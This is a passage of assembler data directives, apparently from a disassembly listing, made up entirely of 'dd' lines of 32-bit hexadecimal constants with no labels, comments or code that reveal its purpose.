dd 0EC41E4A0h, 4CD4DF15h, 884493Fh, 0D22D1780h, 62148D9Ah
dd 108FEAFh, 29274F37h, 9EE479C8h, 8C61C207h, 0E2203A5Fh
dd 4FC94Eh, 8D1D793Bh, 5B07A960h, 549C31Ch, 60D6AF8Ah
dd 90206990h, 3CCBE704h, 649851C3h, 0E54C1812h, 1876934h
dd 7DE6B000h, 23B58416h, 25F7009Bh, 35BBD478h, 51F364B6h
dd 8081F4B4h, 65B41469h, 0E4E6807h, 0E0A0AB2Dh, 2980D840h
dd 31C7EDAFh, 0D7E0C3E4h, 0D42A7E90h, 17080C71h, 0E50D3775h
dd 0ACE0195Ch, 337E0E15h, 0B06B723Eh, 0ABC6CF80h, 5900E255h
dd 57DE2E9Ah, 48FDA360h, 516A089Ch, 0C1600h, 0AC6DE7F3h
dd 0FC7B736Bh, 0C7B20CFh, 602629E2h, 896931A3h, 9F003FF0h
dd 0C64F2904h, 90F51994h, 4E880340h, 345F8284h, 9EE63900h
dd 43015D8Bh, 0FA9000ABh, 0BC3A4731h, 0F800EC24h, 0C749F18Ch
dd 36CCA2Ch, 0DCB771B6h, 7BD991FEh, 724432BEh, 0ABCB4C05h
dd 88068BE7h, 919D26h, 0D02110C6h, 8F081C0Eh, 708D3100h
dd 0D59837A8h, 0DA3E071Dh, 0BCB46BADh, 7A157BF8h, 0B4AAB6h
dd 1E01D637h, 0EF829D33h, 48A02911h, 6C74E7C4h, 0F308BA50h
dd 4FABF900h, 2B297561h, 0C8BC00EEh, 259231A5h, 0B41F263Ch
dd 389EBAD7h, 0E599D6C3h, 0DA590035h, 0CC6BAB4Dh, 20EB70Ah
dd 7C8390F9h, 76913180h, 0E03D8F29h, 0D7AE00D6h, 647ECA9Ah
dd 0F32A71A4h, 490B0830h, 800D4F8Bh, 0E913651Dh, 26F37D8Eh
dd 93289DD7h, 40741FECh, 24362BC3h, 30CE4595h, 19778054h
dd 30092237h, 29F8C06Ah, 0E1C49CA3h, 549787F4h, 9643E2F1h
dd 2BC12C0h, 0FCBED50Ch, 0B842CB24h, 802B6D41h, 1CF3A2D9h
dd 0F3DEE2A9h, 198F32F1h
dd 4A40427Ah, 57A3E0D3h, 0B5F37600h, 1A746371h, 462C1CD8h
dd 0F48F54A0h, 6FC2E80h, 0E8049636h, 0A327709Ch, 49F00540h
dd 0F277E2FAh, 0D155D600h, 165DE596h, 3771C336h, 88D54515h
dd 4C7F400Ch, 0CE935E00h, 340DAC32h, 5658091Bh, 0F0029273h
dd 0F8406DA4h, 0FA0074B4h, 0F3A8972Fh, 1885BCD0h, 99C9B67Bh
dd 36185C8Fh, 9F11325Eh, 417F005Dh, 8AC2EC44h, 87001FE0h
dd 0C3E1C4B2h, 7EAFA0Bh, 9727766Dh, 43CC57Bh, 880D9E24h
dd 760BCA34h, 3D7B877h, 50B57BB0h, 0F0554C19h, 0EEF428ABh
dd 98272AB8h, 0D18D0084h, 3DC96E3Eh, 0BB00DCB6h, 4EB0E0E6h
dd 3C32B07h, 222CC01Ah, 8DF834F5h, 0E8A878F4h, 810011A5h
dd 97EBE0E4h, 24B2856Ah, 22B4A2DFh, 13CC843Ch, 1C71A098h
dd 205E93F4h, 3667CE18h, 0CBBC6600h, 18F74F63h, 382C5895h
dd 5A211848h, 0E7079411h, 0D34632h, 6C0F48FAh, 7158E530h
dd 2D2C41h, 0FDD37B17h, 3254FBA4h, 905A2700h, 0D18F6528h
dd 0FA52034Ch, 0A739AAC2h, 2BEC2CA8h, 8C30F214h, 0B36B006Ch
dd 0CB78A151h, 137200B5h, 5CAE854Fh, 29DD9626h, 41ABCA40h
dd 7988B284h, 0CDB0A139h, 60F4CC48h, 0A7895179h, 60075612h
dd 84ABAE3Eh, 0E0F569C2h, 331864C0h, 8DF03499h, 0C8313Dh
dd 8F6C9B77h, 7174A94h, 49D1DC5Bh, 79526006h, 355CEA71h
dd 2C7000F2h, 0F5C22AE4h, 0A78C00A4h, 0DEEE16A8h, 77048DECh
dd 20019E88h, 86A244C8h, 26D76D08h, 7C08808Bh, 0BA68DF21h
dd 62273Ch, 47112A4Ah, 77F72C2h, 8D262214h, 2B6E05Ch, 0E517ECBBh
dd 4600E88Eh, 5B1BBC4Ch, 0ACE600AEh, 0D3501D34h, 0FE00A09Ah
dd 0BF6ECB2Ah, 7AA98F3Ch, 2E0C00AAh, 6B634D9h, 6A001504h
dd 0E2DD1452h, 0B9866F3Ch, 0B8C90F54h, 0D7F70B60h, 0D60269CEh
dd 29FD77F2h, 0B88BE362h, 0F85381AEh, 0C68031Ch, 23B1D152h
dd 78247D8h, 6C485898h, 16804260h, 543097B8h, 1E5D7A7Fh
dd 45AD636h, 0C8276607h, 9900825Ch, 53B643A4h, 0E01EDF7Dh
dd 0EA4B000Bh, 0FAFD7A25h, 54FCBE6Dh, 0D049F58h, 69B47BE4h
dd 0E46EC30h, 49C81D0Bh, 4A65B620h, 0C2179A4Bh, 1700D36Ch
dd 46E72D43h, 0E9050EE4h, 0D74E472Bh, 45E66C80h, 5901A99Eh
dd 0DA81EAD6h, 0E4411E52h, 4F002065h, 0A909AEAFh, 0ED00B63h
dd 3C08B13Ch, 14A48323h, 6C904822h, 64EEBA00h, 991A7662h
dd 6F660ED3h, 6DE081CDh, 0DAE3A3C6h, 80C26C3Fh, 0B652DC9Bh
dd 9F201Eh, 0DEBC1555h, 368646E2h, 1781E091h, 1E746EB4h
dd 5C11DCFCh, 409D506Ch, 39FCB5DAh, 2D68364Dh, 18060858h
dd 4829A226h, 5F00CA93h, 0D8B058FDh, 6304D96Fh, 3C452947h
dd 0B76C8C80h, 0E8F5581Ch, 55B80700h, 679F21Eh, 4C8F7105h
dd 7401A87Bh, 1498F42Bh, 1FC810A3h, 8C851536h, 5418800h
dd 144FD6Bh, 5F99D109h, 3D8CA34Ah, 0A8D0EC15h, 0C7315E6Ch
dd 0D0160E41h, 0B6D2601h, 0CA4D5Ch, 5CBEB81Dh, 1FDE8Dh
dd 328164C2h, 8ECC54B6h, 0A00D5F26h, 8992400h, 53352C7h
dd 7E424CB8h, 69C88051h, 0FC133D2Ch, 0AC0845A5h, 0D4978082h
dd 0ECCDB7FDh, 0C010D04Ch, 0F411BC6Ch, 0B529C17Ah, 0C45295B3h
dd 6A14F641h, 16DB429Bh, 0C1C4C71h, 400F3611h, 357D76Fh
dd 0E8B56C2Ch, 8FA71FC5h, 0D6E2109Fh, 0BC44223Ch, 87BCC499h
dd 0D52D55FBh, 0CD8EDFF0h, 0BCB400D2h, 9C3F76E7h, 0E60089C3h
dd 6C1771BDh, 98EBDFDDh, 7B7033Ch, 0FAFB9EB2h, 0D87FCDE0h
dd 0B6571400h, 0CA668B1Fh, 0C4B4041Dh, 0C8213CEFh, 770FD17Ch
dd 58E59F60h, 26E27C81h, 0B5A5CA8h, 0E0049D27h, 86604096h
dd 77C0EC3Fh, 114629B6h, 40C81C94h, 0A30E82AEh, 7B06BCEAh
dd 894C09B9h, 0C8EC5D38h, 8DE511h, 3268010Dh, 153D8417h
dd 8437D818h, 90E603C0h, 961998C8h, 5692D577h, 7DB6FCh
dd 93D09DB4h, 276EDB6Ch, 0BE536500h, 0ACD4EEEh, 9ADC0021h
dd 0F455F6B7h, 9E18C52Ah, 5F595DF9h, 30923Eh, 0ADE79534h
dd 0D081A0B3h, 17F47612h, 7BCFC402h, 0C9E446B0h, 20688D34h
dd 3671DC46h, 0E5470513h, 0F3B0CC90h, 0A5E80052h, 6D903222h
dd 111714E3h, 0D007D0FEh, 0E9D1134Fh, 1182CA73h, 3307AA2Dh
dd 445C986Eh, 0AB57C498h, 0EE49B3C1h, 247A1ECh, 5FE130F1h
dd 1C995B07h, 25F4DCC8h, 9E979505h, 78083204h, 4EB98338h
dd 0A1F294ACh, 4F8DE1FFh, 3E624920h, 24A8511Dh, 0D7284494h
dd 6631A714h, 701405CCh, 28C0AE0Ch, 1CC08A52h, 0C0DAE081h
dd 4F239236h, 2D0B510Dh, 980FDE46h, 7CA1974h, 3D2A246Ah
dd 0A74CA0E1h, 0AA4BD7ABh, 80A00008h, 361A12A2h, 3A016BE8h
dd 0AE71F4D8h, 48704F78h, 0A2448430h, 536700B2h, 0D9ED4998h
dd 9101BA8Dh, 8ECF6E11h, 5C72AF29h, 930C9E12h, 9AF0C8DCh
dd 0D700A201h, 4D1F2A9Dh, 4664674h, 7F34C13Bh, 0C5C0EFD9h
dd 71BC9EEFh, 0C618C0E4h, 28DA8D3Bh, 241FE576h, 5E00C77Fh
dd 9770B7EAh, 0EBBA07ADh, 0E70575F9h, 0F478B0E9h, 0A3307181h
dd 0C6C758F3h, 921CA01Ch, 1DDF00C5h, 11BF6E8h, 1700B2D5h
dd 9C6F7E2Ah, 0E1266AFh, 0C8FF82B7h, 87E40057h, 0C49DB5B4h
dd 316315Ch, 678F19C6h, 0A5B90035h, 40AAEA51h, 0F600A6B1h
dd 0F323C736h, 0ECC5D96Bh, 0C08D03FBh, 373FA271h, 0D439881Eh
dd 0A1E9B80Ch, 0E09F45F0h, 0A961C082h, 473CA129h, 0D3E21981h
dd 0E8FB3907h, 1F036435h, 98DA96E6h, 0D1890022h, 1E47168Ah
dd 300732B4h, 2AF5E579h, 0C7899EC0h, 59BE185Ah, 0C2F45173h
dd 5CABED01h, 7C9DA51Bh, 2093F0D0h, 70143899h, 88A0EFB8h
dd 0FF508010h, 980676A6h, 0A5A7130Eh, 0BC242194h, 0D8501946h
dd 0A23D8D2Bh, 49D4605Ch, 73DC001Bh, 6E4E3EA0h, 0F81886A1h
dd 9661F4CEh, 0D60F0066h, 1AAF1BF0h, 923C8F68h, 6AA818D8h
dd 7B461F49h, 0F904052Dh, 206E3DF3h, 172D48Ch, 0C4A492Ch
dd 0B2A51600h, 7FFAD33h, 0E6614480h, 117EF074h, 82012AEFh
dd 0F3123FF2h, 0B4403EA5h, 38F04E7h, 0E5B5A999h, 1901BC71h
dd 59D5A3C7h, 0A9BEED74h, 0F3FC6909h, 3DB4F780h, 8CA81DC6h
dd 0D7570E8h, 37C81200h, 0EB88B156h, 80630177h, 0AFFDC0C6h
dd 20B044D3h, 72F28BF4h, 29539D07h, 177313EBh, 0D93000C0h
dd 0D897A3F0h, 9F883749h, 6C1B1374h, 72600168h, 89F53DA1h
dd 202366D0h, 21FEF900h, 36A7649h, 0C7A8878Eh, 0C6C1DD37h
dd 0E549821Eh, 60915434h, 3C1B6D2Dh, 19FF01B9h, 49C6F913h
dd 0B423CAh, 8FDC1887h, 1C2DD220h, 43625C4h, 0C0F848ECh
dd 76FB9DF1h, 7126D607h, 54B3C0CAh, 0CEA924D1h, 0AD8340C0h
dd 90078DB9h, 253CB888h, 688E4940h, 0C0807C05h, 0ED7BF502h
dd 90A8793Dh, 0B4002FC3h, 12773E13h, 7B826149h, 5873B96h
dd 2826CC98h, 5C90449Dh, 39779F31h, 0C9802C66h, 34D06F5h
dd 0A1EFAD7h, 0F180BD68h, 7E87EF1Ch, 0A8493C35h, 63A05F89h
dd 0C40345E2h, 413C20F0h, 0FEC160CEh, 8F7B16h, 8A81C360h
dd 0B15328BEh, 354A4C01h, 0DBA29BDEh, 0C198D4h, 26D04632h
dd 74475F06h, 383C9100h, 0EBD5FE0Dh, 0EA40013Dh, 0E7294586h
dd 5ECC48C9h, 229FE80Fh, 4F003CDDh, 0F3702902h, 0DC4B06A0h
dd 0E1643DA3h, 153CB700h, 2D0BE38Fh, 0F6C40076h, 0AEF119E7h
dd 8600E9A3h, 0FDD58B7Eh, 17CD2FBAh, 0AFA12D6Eh, 7BF07102h
dd 9FAC40ADh, 0A0008478h, 4DD6CACFh, 0AAFD5A7h, 689CF059h
dd 6A240A10h
dd 3D18BC84h, 40E3197Ch, 0A90FD870h, 804D9B29h, 71D55CC6h
dd 827499A1h, 93BAF236h, 20E71041h, 41C7465Bh, 8BB0D1BCh
dd 0A0A14D3h, 7524CBABh, 0BB483134h, 0BE119FE8h, 8529D340h
dd 0A961E37h, 2866633Bh, 5D3880D4h, 0C4D1335Ah, 0FE402900h
dd 0A0C27DDAh, 0C7E701DBh, 0FD8C9BF7h, 0CDC228Bh, 896990F0h
dd 58BC5470h, 0CADB00D5h, 247D547Eh, 7CA11F6Dh, 0F8201371h
dd 0FE4EB50Bh, 0EB9912ECh, 48C4111Eh, 22687703h, 1DE03550h
dd 0F500D298h, 47850774h, 0F2B8600Ah, 36CB328h, 3767803Ah
dd 0BBB34100h, 7BF16E8Ch, 9BA0004Ah, 0C979A1D7h, 1600F25Fh
dd 49CAEA96h, 135B5A2h, 7F03DF87h, 0E5FC226Dh, 0E23DCC9Ah
dd 0D1808901h, 0F8701082h, 0B03A2CE4h, 0B781483Ch, 7B26704Ch
dd 0AFA1406Ch, 0E678D073h, 0E2701101h, 41E71E71h, 764DA8C7h
dd 0C727F74h, 2BDBB16Ch, 90A17EF0h, 0D402D212h, 9A608398h
dd 0FC54F08Fh, 722600CFh, 0A480A065h, 0B50F1AC9h, 0BEAC8785h
dd 5476E5C0h, 1E8EDA60h, 0C4A24DD5h, 0C12D6D1Bh, 11399FFCh
dd 84326B24h, 7C9B6454h, 72F00983h, 0DC224591h, 0F4116FF3h
dd 0E241E910h, 0B8245D00h, 7AEAB3B6h, 6538C4E1h, 21032250h
dd 7169A1CAh, 4A77CB5h, 76320192h, 0F813A080h, 0AAF02C65h
dd 3AD741A0h, 0E62BEC5Dh, 0A126C630h, 266B06C2h, 8654BBh
dd 0C9D59B0Eh, 0E8E9865Bh, 60042D96h, 0C5131C34h, 233B8C8h
dd 1B4C9FB1h, 308168BEh, 85F2A070h, 7292F0C9h, 10470C0Bh
dd 28996650h, 0F8C82CD3h, 9D18A9BAh, 1484BC0Ch, 0D86017C6h
dd 0F5802A88h, 6F4ECF67h, 2DED00BCh, 87D5F744h, 690E6D37h
dd 1C6A66CBh, 8A00F0E9h, 0DF45E517h, 40D4005Eh, 720C4E0Bh
dd 900B6E8h, 0CA97593Ah, 188C9FFh, 63A21FAEh, 64109AA3h
dd 49CF3A74h, 8382E0E7h, 567C0D8h, 8103BA96h, 0B8CC1864h
dd 38ABCBBh, 3F2DFCC0h, 144C2439h, 0FBA4DC0h, 1C926EF3h
dd 0DB7C5A54h, 98A129C9h, 48C5FB5Ch, 4F00B975h, 0E6A80C31h
dd 0A207B4F0h, 0F22F9FAAh, 58C4F514h, 22057C82h, 0D891FF13h
dd 8941D43Eh, 0FEF8ECB0h, 0BE4C2350h, 0FFF32A45h, 66080C4Ah
dd 608CAC21h, 0D8376A51h, 7E02E9E6h, 0FBBA4C52h, 99804807h
dd 40C74501h, 0D89E9DC0h, 81366780h, 70F3017Fh, 44FB7195h
dd 0FD904121h, 1D03B881h, 0B3B04C43h, 64C602F9h, 17890074h
dd 5BDC4E7Bh, 3700FF79h, 99721DDAh, 1D6F04Ah, 4BE91F2Ah
dd 0CCD0A89Eh, 0C55CE73Dh, 0CE4C7C5Ch, 442B80D8h, 6B6DB38h
dd 0C6E75698h, 0AA3B6127h, 7C3580ACh, 6FFCF1EFh, 45DD00BBh
dd 28055AEDh, 55589E09h, 0D8A91D54h, 8A22C8A8h, 56D2AFCh
dd 0F46C2EBCh, 77A50083h, 0F2123E2Dh, 5880BE52h, 22B84296h
dd 131006Dh, 44122A78h, 0E00844Dh, 96E3A72h, 3D56FC28h
dd 99844F7Bh, 92D7B6E4h, 0A120AEA8h, 5466C560h, 7E289Eh
dd 17DFBF72h, 0DA79DD19h, 0B6F18101h, 43FB49D0h, 139C42A0h
dd 5C962294h, 66E1764h, 0C937C6ECh, 8126CA1h, 95CAE6Ah
dd 0ABEEE60Dh, 0B3E0D20Eh, 91649DA6h, 0A1117801h, 8ECA1347h
dd 0BA7FC040h, 1D0125E9h, 995BD810h, 619FDA00h, 0D1F64CDCh
dd 2422017Ch, 5272F5D5h, 40382114h, 0F18EF314h, 84423F81h
dd 11FC19F0h, 59802BC6h, 28EEA01h, 0B202582Eh, 1FBB9974h
dd 1EC58EFh, 335F9777h, 22D6E69Eh, 180C749Ch, 1121678Eh
dd 0F7E066h, 460DACCFh, 30C09E1h, 0A5FA8490h, 88367744h
dd 0D4B1B570h, 0F99E243Dh, 2C49EC17h, 0DAA600BEh, 6098F89Ch
dd 7B86612Bh, 0E5079D47h, 6942935Ch, 283179E0h, 848A0BCFh
dd 0F884583Fh, 9EE541C7h, 5850CDE7h, 20108F20h, 0C700EECFh
dd 0F1680E24h, 0AC54A6h, 51AE20D7h, 847C1661h, 0E6F7B904h
dd 9081D036h, 0A442D88Ah, 119C19F4h, 0C073A1F0h, 0CA3B2358h
dd 44E22817h, 0D22513DCh, 0C85AAB04h, 992A6630h, 16797C3h
dd 0DC746062h, 0D2B44875h, 269437E0h, 15E95338h, 664CADAh
dd 29678D38h, 0ACF34811h, 685C0B00h, 71C6C2B3h, 522D3600h
dd 0D1D5A3BEh, 0C442E1C1h, 22FC1B72h, 13A11B8h, 2400DE92h
dd 10923569h, 7E2E6D12h, 86C668C0h, 0F8364C53h, 11E59040h
dd 21BAA3F0h, 8E8590E0h, 82029192h, 77696BA2h, 63FDD8C9h
dd 0B19A009Ch, 0C39BD4BAh, 3F5C0EBFh, 0F44093B4h, 22CC5E14h
dd 0DE90B57Eh, 80A96302h, 526791D0h, 0A6C81CF0h, 0AD07C0B3h
dd 6AF295C0h, 1EEF9816h, 40F45448h, 0A0117574h, 37D02154h
dd 0BA10640h, 96D42FE6h, 9E754C83h, 1A3FFB3h, 421931A9h
dd 0B510729Ch, 38FD8B3Eh, 9C882DD0h, 16E0726Ah, 0AF5D760h
dd 64C45670h, 0C831534Ah, 0C9FD3C92h, 1F3338E4h, 409EBD23h
dd 22F62D75h, 0D090D7E6h, 7080F77Fh, 190B9A2h, 36969FA1h
dd 0A8636Dh, 0ED6E7E2Fh, 38DAC3h, 50D6FE64h, 3F9106B5h
dd 33365214h, 90EC21DCh, 62959E9Fh, 0A6CF8050h, 0E991A6Ah
dd 408822F1h, 12FD127h, 0F42128C4h, 0F8A49CF0h, 41659640h
dd 0F842368h, 40561F1Bh, 51BB5C72h, 0CC0388Eh, 154651Dh
dd 4924A0D5h, 2E183C60h, 0C000A89Dh, 3AD45328h, 4970603Ch
dd 0F2FDFF42h, 6723A401h, 0ED5B4EA3h, 722E62E4h, 13A7FABCh
dd 0C72CD6Fh, 1339FAC8h, 302FF42Ch, 0D4403664h, 0D16BA01Fh
dd 1585153h, 54C5BCF4h, 0AD70AD2Ah, 71C207F3h, 0B0E5B6E2h
dd 9DA1EA92h, 7E7CAF50h, 6C24A4F6h, 88104497h, 2485FCC8h
dd 3C042BBFh, 0A481C5C6h, 0F041D8B2h, 820083DFh, 0C4916A36h
dd 712D6C00h, 1DF2B885h, 406138D2h, 0E76BE53h, 0F1015B56h
dd 0F89179FFh, 3EF036FAh, 14100DA0h, 638C2630h, 0BDE30058h
dd 0E8F05A5Eh, 4CA14814h, 23971221h, 5B745830h, 689166h
dd 0C233ABAAh, 4128FD62h, 3D23981Eh, 4FBB805Dh, 9C754D98h
dd 0F6DC8200h, 7C857B54h, 0B99401E6h, 90F0F7CEh, 461F1078h
dd 3BA101D0h, 20D5EEB6h, 0F38337Fh, 0E03E376Bh, 0F6CDFFCAh
dd 0B8711292h, 625458ECh, 6A29F01Fh, 0FE91B47Ch, 8B43F2Eh
dd 6A422C5Fh, 209C13FFh, 0AF4BE7h, 5DBE7EA6h, 9119BBB6h
dd 0C8331F28h, 9A146B20h, 705B3DFCh, 22D51684h, 0D004C905h
dd 0CA62293Ah, 1038C370h, 0D4888E6Dh, 2C0C2571h, 0A6FA7402h
dd 1107B891h, 8C674670h, 18862A10h, 38F1DCCEh, 4A50E8B6h
dd 10BC96h, 0A48DE689h, 0B7796Fh, 853511E8h, 0B2A94BD9h
dd 0B5F08B18h, 241E3481h, 4E2879F7h, 0A2D1A885h, 3CBE0728h
dd 37801C90h, 1DE2C3D5h, 9203B848h, 0AF34885Ah, 4EF03640h
dd 66A44BA8h, 0D5CD5C68h, 0F5FAC900h, 0A5E46197h, 0CBB70DC8h
dd 8CC8DDCEh, 0F1395139h, 70EE4AA4h, 0FFB5935Ch, 3290D300h
dd 0EA7898D0h, 59709806h, 681034B1h, 0A78888A9h, 4A547490h
dd 43F65E00h, 0B5A94E51h, 2DA070Ch, 440FE742h, 90E0859Fh
dd 0AEAF3338h, 94A8DC91h, 29986958h, 2F90D086h, 12D73AB0h
dd 1326A00Bh, 4D7CC8F1h, 4AEF1276h, 0A71C0FE6h, 0EA960BD0h
dd 20206404h, 7C45D2A1h, 0CFB04Ch, 8BEE8680h, 4671BC99h
dd 1270DD50h, 69288h, 0A8CCAB9Bh, 0D3F32446h, 0A58B2C09h
dd 0C08402F8h, 12E011EEh, 3B00F2CEh, 14802FADh, 324F9C2Eh
dd 0C800CD54h, 587DD1AEh, 0B0B52CA9h, 1B9B208Ch, 69AAF016h
dd 2173088h, 9E31C013h, 7CC6C8E4h, 4C8C282Eh, 43AFB560h
dd 0E25705F9h, 808B0331h, 117A58Ah, 0DCE09004h, 84828207h
dd 10151992h, 0C0F1CF1Fh
dd 0A63EFCB1h, 54074512h, 463B9CB2h, 2B482330h, 5AA0E8FDh
dd 3E70403Dh, 698A98E2h, 0F0B271F4h, 6EC36B10h, 0CDD6CA01h
dd 3DFB1245h, 6C205AF0h, 7205E1h, 0AD497E70h, 6465D98Dh
dd 766B4300h, 0B519BC1Eh, 39386CBEh, 1016D410h, 0B8306624h
dd 12B059FFh, 0C237EBC2h, 40C69778h, 0A60D144h, 1833BAFCh
dd 40C42EB0h, 0DF1C5998h, 0AA4B3602h, 4081B19Bh, 12266318h
dd 86CA2C4h, 7964DE4Ch, 9892A122h, 43FDE898h, 85D0AA00h
dd 0D52ADA24h, 4CCC489Eh, 18807310h, 69D12E66h, 9EF403A9h
dd 0CB89D6E2h, 91C0D5D4h, 68B971B4h, 0AC0893ACh, 4FDC641Bh
dd 554920D4h, 39473584h, 0CE183A1Eh, 0DCA299F0h, 0FC97C30Fh
dd 0A5FB409Dh, 1FCC5D9Fh, 0FAA03F6Bh, 0DC8CB92Dh, 573CB648h
dd 28460124h, 52DD8C1Dh, 99712EF0h, 355A82B8h, 8546724h
dd 39F31386h, 9EE726D1h, 2EEA583Ch, 8280589Bh, 0DCA387EBh
dd 0D4450905h, 0EC014ADBh, 2965C746h, 91C0216Ch, 0D03926E2h
dd 6DF3E08h, 8919C633h, 1D78F01h, 7223C291h, 2A325851h
dd 345017DFh, 92B82CA9h, 8C207845h, 24A189ECh, 0CF442B64h
dd 1D140FAEh, 6580BB5Eh, 25F9139Eh, 0D427094h, 279CF267h
dd 35740F28h, 0DE4B530Eh, 0D5F2E200h, 0D4F870h, 42B69A02h
dd 0DB9EDE10h, 0A204237Ah, 0C6C4E9D9h, 0F4593CF4h, 8F6B0ACEh
dd 800CE719h, 0DCC232EAh, 3149A9BCh, 6E0B1078h, 3D92F088h
dd 2C479C90h, 0DD072E9Ch, 6495081Ch, 1223C032h, 4F708404h
dd 2782E11h, 0C604E81Eh, 0D2A0125Ch, 6A441E36h, 6DC24438h
dd 1724B090h, 0FF40FCF9h, 122EB360h, 129E76C5h, 145C3570h
dd 7809E470h, 0A0821E67h, 9611EFA0h, 35F40815h, 2B8361B1h
dd 0A3AE020h, 2C46D9AAh, 13AB1E10h, 81DC20CEh, 3800D397h
dd 0CF654783h, 8D5F7Bh, 521D71D7h, 0C2898A14h, 100C0448h
dd 4884A8B0h, 0CDC01837h, 0B4EF09E1h, 6C22E59Ch, 9910D826h
dd 82A4B920h, 0C94BC32Eh, 3AF28843h, 9DE67120h, 9EEC2C26h
dd 0D7FA0980h, 682BC4E9h, 64629C74h, 457C5833h, 8A5B870h
dd 0D048ABF1h, 0EDC325F4h, 0A4F9D032h, 0A7E85607h, 7DEE1060h
dd 0F8B54CECh, 9CA52A10h, 426090E2h, 1822D7h, 56901D4Dh
dd 0CA74C5A4h, 8B989300h, 4E65E348h, 1D8A3A7Ch, 67D46406h
dd 0FE00B936h, 0EFE60A60h, 0E13E0BEh, 0D8BC6372h, 0C0124C81h
dd 6805151h, 3CB104D6h, 0B4480063h, 0E4FD1312h, 0E663CE08h
dd 901ADA99h, 12B5E4A0h, 864C22Ah, 0B16F6F78h, 49F46D1Eh
dd 0C8E81BDEh, 51C5F9F2h, 0E4887324h, 24C90D4h, 0D286E94Eh
dd 0A5825EBEh, 4458FD9Fh, 12686D20h, 88722269h, 2A093388h
dd 0E59CF0CAh, 165E0028h, 0E6DC3391h, 77852600h, 2D500A72h
dd 816F0912h, 9C044445h, 20F43263h, 4DBEC8D4h, 0DD4C7B7Fh
dd 64372E3Ch, 0C82AB88h, 20692466h, 0F9553807h, 0E670F7DEh
dd 174F7D39h, 3103DF95h, 2CE7B974h, 0CF6C0D8h, 1B03590h
dd 0BC603FC4h, 0FC67E05Ah, 0A8A10348h, 604C5D77h, 3F89C6B0h
dd 2E479088h, 0C4BB7009h, 67A20080h, 0F0EC468Ah, 249656C9h
dd 6A67C024h, 18780459h, 0E4C3D4Ah, 84E0902Ch, 0E7CD2C9h
dd 1B781001h, 0C8C368BDh, 0EB195F02h, 0F4966012h, 0E7FE44h
dd 629676BEh, 2BC5CD79h, 0A2203C92h, 0BE2424DDh, 9C3E70BCh
dd 51E9249Ch, 683E9DE8h, 0F6A3011Ch, 4B620573h, 0A4203056h
dd 72534586h, 0EDF7001Ch, 5FDE3210h, 2FCC1CB7h, 8D9FC0C8h
dd 1503B852h, 32A9825h, 0A4B3BAF4h, 526AB544h, 0ADD60408h
dd 0C9630490h, 61578D00h, 5DE1E624h, 89B60B20h, 0A9018F50h
dd 2C7262F9h, 942720A4h, 2D63C174h, 2C702371h, 7408EC5Bh
dd 0D49610h, 26BAD1C8h, 7716BE4Dh, 38486CDFh, 26F16E53h
dd 0C308D069h, 60282417h, 4028E516h, 0E06B3300h, 664FE8ECh
dd 1EC472A1h, 82966965h, 0C8E4F0F7h, 280280E6h, 67CA108Ch
dd 5410C869h, 8A5884EEh, 7E93C45Ch, 44E61F45h, 2ED1EF8h
dd 569DF03Fh, 32A04454h, 948C588h, 3C90B571h, 2CA49EF0h
dd 0C94F481h, 0A414ABB5h, 0A88D8B4Bh, 78202170h, 91378098h
dd 1E3B3031h, 0B045DCAh, 8800DE4Bh, 4610447Bh, 0F32EF8E3h
dd 0FC12C974h, 9C80D491h, 603D89D1h, 6E684963h, 0EC05B78Dh
dd 2EAC3C18h, 0D3EA5E80h, 0CF85026Fh, 1E1204CCh, 323C98A4h
dd 0E03E2427h, 0F10270h, 0FAA29B33h, 0E4CA0F18h, 9BC6DFFh
dd 0ACC00475h, 301C41E7h, 631B36B4h, 9732C459h, 946429h
dd 6021414Ch, 3BE70E2Fh, 5F3F5200h, 0F07EC6DDh, 63651354h
dd 0D9B404FBh, 7F2C185Bh, 82CF5C81h, 5A0F3800h, 0E1FDCD06h
dd 5048E48h, 446AF283h, 85483C48h, 0F210BF24h, 0F82D22D4h
dd 2491DF6Ch, 87D20808h, 0CD6B083Eh, 0A4AC2170h, 32003BACh
dd 9EAD2D13h, 3E7AB2A7h, 83E20900h, 0B07978C9h, 544F07BAh
dd 404E6F8Eh, 0D9A1ABACh, 0B281C891h, 0E608D762h, 1CA256C0h
dd 3EDDF901h, 36E8F300h, 9EF6DE1Eh, 8494AC98h, 49C40651h
dd 50EA03h, 0EB309B52h, 0CEB3BBB9h, 3A25E0B0h, 5D8B6A4h
dd 0C660551Bh, 6F73C0A0h, 5002E141h, 0E278437Ah, 2050D6E8h
dd 0A7A8B180h, 4EC92482h, 0C88CF80Ah, 88F45863h, 0AA60CABDh
dd 83903828h, 8F6713A8h, 16BCB4C0h, 5CEEDB00h, 1A8901B2h
dd 2CD54BA3h, 248D6B18h, 0C83F1028h, 256C90F6h, 0B44C687Fh
dd 0DC7CA96Dh, 6068A711h, 7C00FB43h, 0F2E7F990h, 1F0562Eh
dd 55379F9Bh, 38D02D86h, 4671B09Ch, 2049D7F5h, 807B27B0h
dd 47A70B12h, 28A5780Fh, 33E49329h, 40A4B43Ch, 0A9034F96h
dd 824B690h, 1F1323EFh, 0B469548Ch, 0E630004h, 0B0284333h
dd 882D4Ch, 7D8A51B9h, 0F19471h, 0FA3D9F75h, 31C7ED35h
dd 259118B4h, 0A1B03A00h, 0F3D4D11h, 2E387800h, 0F745CCFAh
dd 0D247241Dh, 0A5C20818h, 50D86A44h, 604540C5h, 0CE6570B9h
dd 0B218EC23h, 24F4D943h, 0A9480880h, 374542h, 8267B5A1h
dd 429A3B00h, 0D655487Eh, 6C9E5C2Fh, 0F413AD04h, 357CBC37h
dd 8A04130h, 0F212E914h, 2A182113h, 4B22FB1Dh, 856C9CB8h
dd 2C5A9C9h, 0D3DC92F0h, 84830ED8h, 0AB46412Ch, 0E85EED00h
dd 66688B51h, 53BF0029h, 4EA9FFFh, 9BF0273Ch, 0AC85B505h
dd 948032EEh, 3E26E335h, 9D008C13h, 0C4284B9h, 8F7A208Eh
dd 0EDEA4898h, 21DB4284h, 0C8FA9075h, 0CBB74172h, 4AE43887h
dd 4E6B240Bh, 822A00E8h, 57FAC920h, 6220E57Eh, 2B02460Fh
dd 0A108EC27h, 453D0C68h, 0EF008819h, 441F7C05h, 17D4B521h
dd 31ADAE81h, 0EC966474h, 87025AF0h, 263DFFCAh, 54ECD8CEh
dd 88E17034h, 832F0EE7h, 0CBE42098h, 0AF37A04h, 0E8131680h
dd 91D045D8h, 2DD9C6C4h, 13252178h, 8010E2E8h, 3327E93Bh
dd 28A25B05h, 704C24F0h, 50F4C820h, 69846F3Bh, 0F8C0290Bh
dd 209AC2FFh, 827CB750h, 6C75EA4Eh, 500984A2h, 0FD80E1CEh
